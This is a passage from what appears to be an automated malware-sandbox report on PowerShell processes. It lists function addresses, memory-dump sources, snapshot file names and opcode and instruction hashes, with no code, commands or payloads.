                                                        • Opcode Fuzzy Hash: 8104330c4802efc6fa2a6ce37b052694c27bbd5faf607d3852c4750c6f1a280b
                                                        • Instruction Fuzzy Hash: 6841AF67A0D2D21BE3635A3859B60DA3FE4AF5326470E01F7C2C4CA093ED0D644BA251

                                                        Executed Functions

                                                        Function 00007FFD3479217D Relevance: 1.5, Instructions: 1491COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.3119892305.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffd34790000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 578d23d896206d2932b3dab2cdcb34d55427c0e943f0214ec83f4fcdc5dab27f
                                                        • Instruction ID: 4e5e8742f3d3ca753c30e79981a0e4823b0c2c92537eb3c5aa7fa2b3ac59d0ce
                                                        • Opcode Fuzzy Hash: 578d23d896206d2932b3dab2cdcb34d55427c0e943f0214ec83f4fcdc5dab27f
                                                        • Instruction Fuzzy Hash: CFA21862B0EB868FE7DAAA6848B52B57BD0EF57310B1805BED18DC71D3DD1CB8059381
                                                        Function 00007FFD34790B09 Relevance: 1.0, Instructions: 1021COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.3119892305.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffd34790000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 326ffbb15bf7684ff216d49b17db19e9c1ec880e21cc99810fe917b7b92a6382
                                                        • Instruction ID: 1d2ae34a8f4fc8a4e32bd1e37784b79ea37f6415a4bbdbe3e0354055e3b5a1b7
                                                        • Opcode Fuzzy Hash: 326ffbb15bf7684ff216d49b17db19e9c1ec880e21cc99810fe917b7b92a6382
                                                        • Instruction Fuzzy Hash: 87621262B1EBC58FE7969B6888A55657BE1EF57310B0801FFD18CCB1A3D918BC06C381
                                                        Function 00007FFD346C7A37 Relevance: .4, Instructions: 377COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.3118372369.00007FFD346C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffd346c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 4872ca035fed74459326ee8c46f0776d15c3a583bff758e35bbf85bfb7de0384
                                                        • Instruction ID: a526c82c0949cba0d040d82174f02cdc48a92eefea2dada19ed2036218f6ce73
                                                        • Opcode Fuzzy Hash: 4872ca035fed74459326ee8c46f0776d15c3a583bff758e35bbf85bfb7de0384
                                                        • Instruction Fuzzy Hash: 95C1E570B19A8A4FE795FB78846A2B977E1EF45311B0400FDE44DC72A3DD2DAC468701
                                                        Function 00007FFD346C7E3E Relevance: .2, Instructions: 222COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.3118372369.00007FFD346C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffd346c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 08f98384419dbdddf6c601811a419c7f6c3dba1d09f2b6ea8a03386089680520
                                                        • Instruction ID: 398b79967b10d115d50b746031f662f43ab1b01c70760886c8129d3d2dc6dc9c
                                                        • Opcode Fuzzy Hash: 08f98384419dbdddf6c601811a419c7f6c3dba1d09f2b6ea8a03386089680520
                                                        • Instruction Fuzzy Hash: 75612731B1EB864FD35AAB7854661A9BBD2EF8A36071401FED44AC72D3DE2C6C078345
                                                        Function 00007FFD346C7C1E Relevance: .2, Instructions: 186COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.3118372369.00007FFD346C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffd346c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 74d5564a7b26499c56a5e3ed431684d840483e38a0230501c0fffef54135b3d5
                                                        • Instruction ID: d5c7dfac333c065fe9aaca93661d2c043f8915f778101e6b17731fc6b7c2addd
                                                        • Opcode Fuzzy Hash: 74d5564a7b26499c56a5e3ed431684d840483e38a0230501c0fffef54135b3d5
                                                        • Instruction Fuzzy Hash: E1519130719A4A4FE795FB78846A6B976E2FF59311B4440FDE84EC72A3DD2CAC058700
                                                        Function 00007FFD346C78C4 Relevance: .1, Instructions: 146COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.3118372369.00007FFD346C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffd346c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: e6602155ffcd5b81e11bb35e542c9bb0ab4b52e6369c9244ad355e41da71700f
                                                        • Instruction ID: a4c23f517a572891dcada5532cc7a498d362005c16e365b141c4e0619d8dbc87
                                                        • Opcode Fuzzy Hash: e6602155ffcd5b81e11bb35e542c9bb0ab4b52e6369c9244ad355e41da71700f
                                                        • Instruction Fuzzy Hash: 8A41257060E7865FD311AA7884561E5BBE0EF43330B1442BDD99ACB2D3DB3DA8078708
                                                        Function 00007FFD34792BEA Relevance: .1, Instructions: 141COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.3119892305.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffd34790000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 6b5ce15e2e102fd84cea00f84504a938b2e1c3a389a535f6f0376cb6f0b9df52
                                                        • Instruction ID: 5095003e3702fdb2434155117cacef3fc2734ef6ea48697b12cc1b66a1243daf
                                                        • Opcode Fuzzy Hash: 6b5ce15e2e102fd84cea00f84504a938b2e1c3a389a535f6f0376cb6f0b9df52
                                                        • Instruction Fuzzy Hash: 3D4106A6F0EE474BF7D9B61844F52B572C1AF87240B58087ED64DC31D2DC1DB8096281
                                                        Function 00007FFD347925EA Relevance: .1, Instructions: 112COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.3119892305.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffd34790000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: e38f4a60e0e8c53a68e8792ccc94cd51de1d0eb6d27922e753cbd9fa1cc0235f
                                                        • Instruction ID: 1532f3cf1cf6304aeff12d0d387bb4b4dfecefd89f79fe355efa90a0cab36fb0
                                                        • Opcode Fuzzy Hash: e38f4a60e0e8c53a68e8792ccc94cd51de1d0eb6d27922e753cbd9fa1cc0235f
                                                        • Instruction Fuzzy Hash: 7731C6A2F1EA464BF7E9B62814F92B861C1EF46340B54047ED64ED39D3DC0DBC416381
                                                        Function 00007FFD346C8737 Relevance: .1, Instructions: 59COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.3118372369.00007FFD346C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffd346c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 025a08594a702873854288dc33c530973b6ebd0fe6288ff8085200bc0372dc84
                                                        • Instruction ID: f66910dcbc8349eaaa80acfb8a960de3c36731465099e7ac0a216ead9c2de53b
                                                        • Opcode Fuzzy Hash: 025a08594a702873854288dc33c530973b6ebd0fe6288ff8085200bc0372dc84
                                                        • Instruction Fuzzy Hash: 0E11E771B1E28A4FE3A5FBB4486A2B9B7C2EF41211B5404FDD45AC71D3ED2C6C069311
                                                        Function 00007FFD346C5725 Relevance: .0, Instructions: 49COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.3118372369.00007FFD346C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffd346c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: ee1d83e8d9ad0ff779d92e08f69f1e06b52c9e2b47039ca20a01433bafa786f3
                                                        • Instruction ID: 614e4ad68305d2b1338ee0114a1242121bce27a560fec25a089cbe7aa243df1c
                                                        • Opcode Fuzzy Hash: ee1d83e8d9ad0ff779d92e08f69f1e06b52c9e2b47039ca20a01433bafa786f3
                                                        • Instruction Fuzzy Hash: 1E01677125CB0C8FD754EF0CE451AA6B7E0FB95364F10056DE58AC3651D636E881CB45
                                                        Function 00007FFD34793E8C Relevance: .0, Instructions: 46COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.3119892305.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffd34790000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 5d0cefe5ac1ea52bf3901d35188ac9a01e00973728643a9e42d5c10afdd457f3
                                                        • Instruction ID: 2754ffcc15ef94d62d66f5cdf527a3be77ca3e970b69207fe080d442daeac28e
                                                        • Opcode Fuzzy Hash: 5d0cefe5ac1ea52bf3901d35188ac9a01e00973728643a9e42d5c10afdd457f3
                                                        • Instruction Fuzzy Hash: E7F09072B1CA094FEB98DA1CA8951BAB3E2EBC9126714427FD18FC2562DA25A8024740
                                                        Function 00007FFD34793655 Relevance: .0, Instructions: 29COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000004.00000002.3119892305.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_4_2_7ffd34790000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: dc192f79dd0e33fd50b80b0f6ef36dc9004bb514decc3752943a8b8c278d184d
                                                        • Instruction ID: 98001b31e4fa48e49c869f7e195026724c1ec9406c2f2e93090d3c84a103f875
                                                        • Opcode Fuzzy Hash: dc192f79dd0e33fd50b80b0f6ef36dc9004bb514decc3752943a8b8c278d184d
                                                        • Instruction Fuzzy Hash: 10E04F63F0EE294AE6A1A15C28A96F5A290EB5D66578401B3DA4ED3292DC09AC1052C0

                                                        Executed Functions

                                                        Function 00007FFD346F9818 Relevance: .2, Instructions: 173COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2914718192.00007FFD346F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346F0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_7ffd346f0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 593f3f2b2882888df3c07a207a11764cd0b5f68244a9089dc811b4340fdc6162
                                                        • Instruction ID: b174f2e4ab55e4ced14142552ae7b1244b02f143d9667e0f60a68a87edb2c5d3
                                                        • Opcode Fuzzy Hash: 593f3f2b2882888df3c07a207a11764cd0b5f68244a9089dc811b4340fdc6162
                                                        • Instruction Fuzzy Hash: 91510872A0DF884FEB199E5C98961E97BE0FF55310F44417FD0D9C3293DA28A8498BC2
                                                        Function 00007FFD346FA2C1 Relevance: .1, Instructions: 102COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2914718192.00007FFD346F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346F0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_7ffd346f0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 60b90cc2c83bb520a2f57bb720f0cc46124e51cdf98afb92d0e96c96171c21b5
                                                        • Instruction ID: 6c2cb050b9a5e2cd057fa7e3e51251aa0659ee93d2c9fa120029d853a4005514
                                                        • Opcode Fuzzy Hash: 60b90cc2c83bb520a2f57bb720f0cc46124e51cdf98afb92d0e96c96171c21b5
                                                        • Instruction Fuzzy Hash: E231D631A0D7884FDB59DF68885A6E93FF0EF66321F0441ABC148C7163D639980ACB52
                                                        Function 00007FFD346FA1A8 Relevance: .1, Instructions: 69COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2914718192.00007FFD346F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346F0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_7ffd346f0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 3c144355398c46b0e7a1a1489fa6fffddb8de85b6daf9f22c2c6cd262f680442
                                                        • Instruction ID: cf7f589c2df4acd02b7c861431731c48e74a40c6d4a26afee779013277e1bbed
                                                        • Opcode Fuzzy Hash: 3c144355398c46b0e7a1a1489fa6fffddb8de85b6daf9f22c2c6cd262f680442
                                                        • Instruction Fuzzy Hash: 6721C87B94D9D54FEB13DE1C5CEA0D57BB0EF23204B0A41FAC988CB093EE1955199682
                                                        Function 00007FFD347C681E Relevance: .1, Instructions: 60COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2925568775.00007FFD347C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_7ffd347c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 49ca717c781aab32812e6345ce76aebab26246e53fffc3e2feefdf5c692c258b
                                                        • Instruction ID: 9101ac162e4f7055944c8ac52f4f38663113d9e73360cdab4af8b6f4db4fa78d
                                                        • Opcode Fuzzy Hash: 49ca717c781aab32812e6345ce76aebab26246e53fffc3e2feefdf5c692c258b
                                                        • Instruction Fuzzy Hash: BD11E372B0D7899FEB61DA9840E45787BD1EF56310B1400BED54DC71A3D928AC45C390
                                                        Function 00007FFD345DEEBC Relevance: .1, Instructions: 53COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2903093086.00007FFD345DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345DD000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_7ffd345dd000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 718b4509aac4e23b8834e820d1ebe46afdd5c4d475d39ac2712dba5adb515193
                                                        • Instruction ID: 1d0b8b81bcc045326f4ff63197965975dfc9e660d0bb2f328020461ab388bb04
                                                        • Opcode Fuzzy Hash: 718b4509aac4e23b8834e820d1ebe46afdd5c4d475d39ac2712dba5adb515193
                                                        • Instruction Fuzzy Hash: 7D014F3160CE088F9AA4EF1DE48595277E0FB98320710069AD41DC7659D735F891CBC1
                                                        Function 00007FFD346F33B5 Relevance: .0, Instructions: 49COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2914718192.00007FFD346F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346F0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_7ffd346f0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
                                                        • Instruction ID: 52ea1f2e5421a86aac25c54508c1d65819eab3563fae9b4cd706328a864c0b26
                                                        • Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
                                                        • Instruction Fuzzy Hash: B201677121CB0C4FD754EF0CE451AA5B7E0FB95364F10056DE58AC3651DA36E882CB45
                                                        Function 00007FFD347C414D Relevance: .0, Instructions: 37COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2925568775.00007FFD347C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_7ffd347c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 3a940ba152b0f3e42a5242c511522f5778d96b96170cfe692bc8debd69cdefbd
                                                        • Instruction ID: 766ccac2c0041827af6273a774ce496d8254a56b00dd23e2e4a77442f259df5e
                                                        • Opcode Fuzzy Hash: 3a940ba152b0f3e42a5242c511522f5778d96b96170cfe692bc8debd69cdefbd
                                                        • Instruction Fuzzy Hash: AAF0BE32B0CA048FD768EA4CE4914A873E0EF5632071200BAE29EC75A3CA29FC44C781
                                                        Function 00007FFD347C4400 Relevance: .0, Instructions: 35COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2925568775.00007FFD347C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_7ffd347c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: bfecfd67fdc6e95873f4319c9179f88d1ea33ea09b03282e656c21a7c4b45978
                                                        • Instruction ID: ee36c7f4222f8ea04cce184d9ef7a70cd42ec9d2d89768a7f7b7726b4e62844a
                                                        • Opcode Fuzzy Hash: bfecfd67fdc6e95873f4319c9179f88d1ea33ea09b03282e656c21a7c4b45978
                                                        • Instruction Fuzzy Hash: D5F08272B0C6448FD754EB4CE4954A877E0FF4632475500B6E25EC7463DA29FC44D790
                                                        Function 00007FFD347C41D1 Relevance: .0, Instructions: 29COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2925568775.00007FFD347C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_7ffd347c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
                                                        • Instruction ID: d71da377785e80a932794cba1b3665843f2f2ced0336e04f6bcc90208df3a097
                                                        • Opcode Fuzzy Hash: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
                                                        • Instruction Fuzzy Hash: 8EE01A31B0C818EFDA68DA0CE1909E973E1EB9933171101B7D28EC7562CA26FC519BC0

                                                        Non-executed Functions

                                                        Function 00007FFD346F85FA Relevance: 6.4, Strings: 5, Instructions: 117COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2914718192.00007FFD346F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346F0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_7ffd346f0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: K_^$K_^$K_^$K_^$K_^
                                                        • API String ID: 0-3188868157
                                                        • Opcode ID: a04382d51f3994f89dec91c754faead2db92af87c9dc9fc43cbee6946352287a
                                                        • Instruction ID: 2c8781879008b49323541a992ebd5c171e3cb41cffc650a666bffba95e644c57
                                                        • Opcode Fuzzy Hash: a04382d51f3994f89dec91c754faead2db92af87c9dc9fc43cbee6946352287a
                                                        • Instruction Fuzzy Hash: FF419767B0D6E61FEA624A294CB60DA6BE0EF5332470925F6C5D8CB083EF1D24176242
                                                        Function 00007FFD346F86D3 Relevance: 5.1, Strings: 4, Instructions: 143COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2914718192.00007FFD346F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346F0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_7ffd346f0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: K_^$K_^$K_^$K_^
                                                        • API String ID: 0-4267328068
                                                        • Opcode ID: 2f24e28fdad93d259422e9f0084b06a518fc7bc1015d4306a566bdfe98700fea
                                                        • Instruction ID: eef91ed26c8281f6273a94f1ae6f4e736ab9be563b494d5cefdfc91db0fefaa2
                                                        • Opcode Fuzzy Hash: 2f24e28fdad93d259422e9f0084b06a518fc7bc1015d4306a566bdfe98700fea
                                                        • Instruction Fuzzy Hash: 18416263A0DADA1FEB634A2D4CB51D97FE0AF53214B0951F6C6C4CB493DF1C581BA242
                                                        Function 00007FFD346F8BFA Relevance: 7.6, Strings: 6, Instructions: 93COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2914718192.00007FFD346F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346F0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_7ffd346f0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: K_^=$K_^@$K_^T$K_^U$K_^W$K_^Y
                                                        • API String ID: 0-440027145
                                                        • Opcode ID: 623be21affe5fa8df95d88e1a9feff80f2d7698797addae23f4c42e0ad7c4d7a
                                                        • Instruction ID: 6c8200aef9718e4b8013f45a5f847bdf7718a331f25cd1b4b92cf5aed8a0bdad
                                                        • Opcode Fuzzy Hash: 623be21affe5fa8df95d88e1a9feff80f2d7698797addae23f4c42e0ad7c4d7a
                                                        • Instruction Fuzzy Hash: 6221AAB37185256EDA1136ADF8512DA3BA4EFD137534502F3C298EF103DC54B48B85C0
                                                        Function 00007FFD346F851B Relevance: 5.1, Strings: 4, Instructions: 65COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2914718192.00007FFD346F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346F0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_7ffd346f0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: K_^$K_^$K_^$K_^
                                                        • API String ID: 0-4267328068
                                                        • Opcode ID: 160f3d3f0491f70e69d3d505f9703ba8670866fb60935e8c6c5bd13cdda7edfa
                                                        • Instruction ID: 85f9277aacf5680445226f21eb05bac136d64cf586b8aafc4f3ce813e710d997
                                                        • Opcode Fuzzy Hash: 160f3d3f0491f70e69d3d505f9703ba8670866fb60935e8c6c5bd13cdda7edfa
                                                        • Instruction Fuzzy Hash: 6A118497B0D6D32FEA934A2908B90DA2FD4AF5332470A11F2C5D8CB093EF0D68176211

                                                        Executed Functions

                                                        Function 00007FFD346C9818 Relevance: .2, Instructions: 173COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000006.00000002.2845698443.00007FFD346C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_6_2_7ffd346c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: b904cacfa21724b433fa0d4caa75650aaea303750914b791b2c823520c94527a
                                                        • Instruction ID: 83f2b3f1a5f4ee0a9f1b1aa76d702f04a864bdcfa2c1b5eff04c7d319eaed620
                                                        • Opcode Fuzzy Hash: b904cacfa21724b433fa0d4caa75650aaea303750914b791b2c823520c94527a
                                                        • Instruction Fuzzy Hash: 39512972A0EA844FDB199E5C9C566E97BE0FF56710F44417FD089C3293DA28AC498BC2
                                                        Function 00007FFD345AED40 Relevance: .1, Instructions: 124COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000006.00000002.2838192010.00007FFD345AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD345AD000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_6_2_7ffd345ad000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: a3e4e069ad2a6ead678315a0a76aaf318d642b91654197c5b98f80ec050070d4
                                                        • Instruction ID: eae2541e6084e9831669549e469d7e7f3801436b6a11b4822b8ded72c907e413
                                                        • Opcode Fuzzy Hash: a3e4e069ad2a6ead678315a0a76aaf318d642b91654197c5b98f80ec050070d4
                                                        • Instruction Fuzzy Hash: 9D41393094EBC45FE7979B2898919523FF0EF53320B1906DFD088CB1E3D629A846C792
                                                        Function 00007FFD346CA2C1 Relevance: .1, Instructions: 102COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000006.00000002.2845698443.00007FFD346C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_6_2_7ffd346c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 2efe7eaabc1364e1e6946e8b6aeac0d0b0b31a3ec0cba3f25724e15b56ecb855
                                                        • Instruction ID: 7fa3af96fb3e580da0d3202f0b942a65b8f7cf76593a7d9367b583898de628dc
                                                        • Opcode Fuzzy Hash: 2efe7eaabc1364e1e6946e8b6aeac0d0b0b31a3ec0cba3f25724e15b56ecb855
                                                        • Instruction Fuzzy Hash: E031C47190D7884FDB59DF688C5A7E97FF0EB56321F0441ABC048C7162D6289846CB51
                                                        Function 00007FFD346CA1A8 Relevance: .1, Instructions: 60COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000006.00000002.2845698443.00007FFD346C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_6_2_7ffd346c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: da728d091b83cc7f68c13e4cb56518876c23536b37335b72b9f9d4714f1474c4
                                                        • Instruction ID: 47a7e439fa2700fc3644560bef1a65a3754287a3f8b9d446945f598c32c93b87
                                                        • Opcode Fuzzy Hash: da728d091b83cc7f68c13e4cb56518876c23536b37335b72b9f9d4714f1474c4
                                                        • Instruction Fuzzy Hash: EA112B7A90CAD64FD716EF1C9CA91D53BE0EF23204B0801BAD648C7453EE1959059782
                                                        Function 00007FFD3479681E Relevance: .1, Instructions: 60COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000006.00000002.2854080764.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_6_2_7ffd34790000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 4251a0d988a3d522e1f14ec27fdd54d1384518f6cdd25be0faf936fba113c201
                                                        • Instruction ID: b4ebbf700a3131f8610177e208689f371ce39c8ed71cad4facff43ab49ba5328
                                                        • Opcode Fuzzy Hash: 4251a0d988a3d522e1f14ec27fdd54d1384518f6cdd25be0faf936fba113c201
                                                        • Instruction Fuzzy Hash: 2A11E372B0D7898FEB61DA9840E49687BD1EF56310B0441BFD54DC71A3D9286845C350
                                                        Function 00007FFD346C33B5 Relevance: .0, Instructions: 49COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000006.00000002.2845698443.00007FFD346C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_6_2_7ffd346c0000_powershell.jbxd
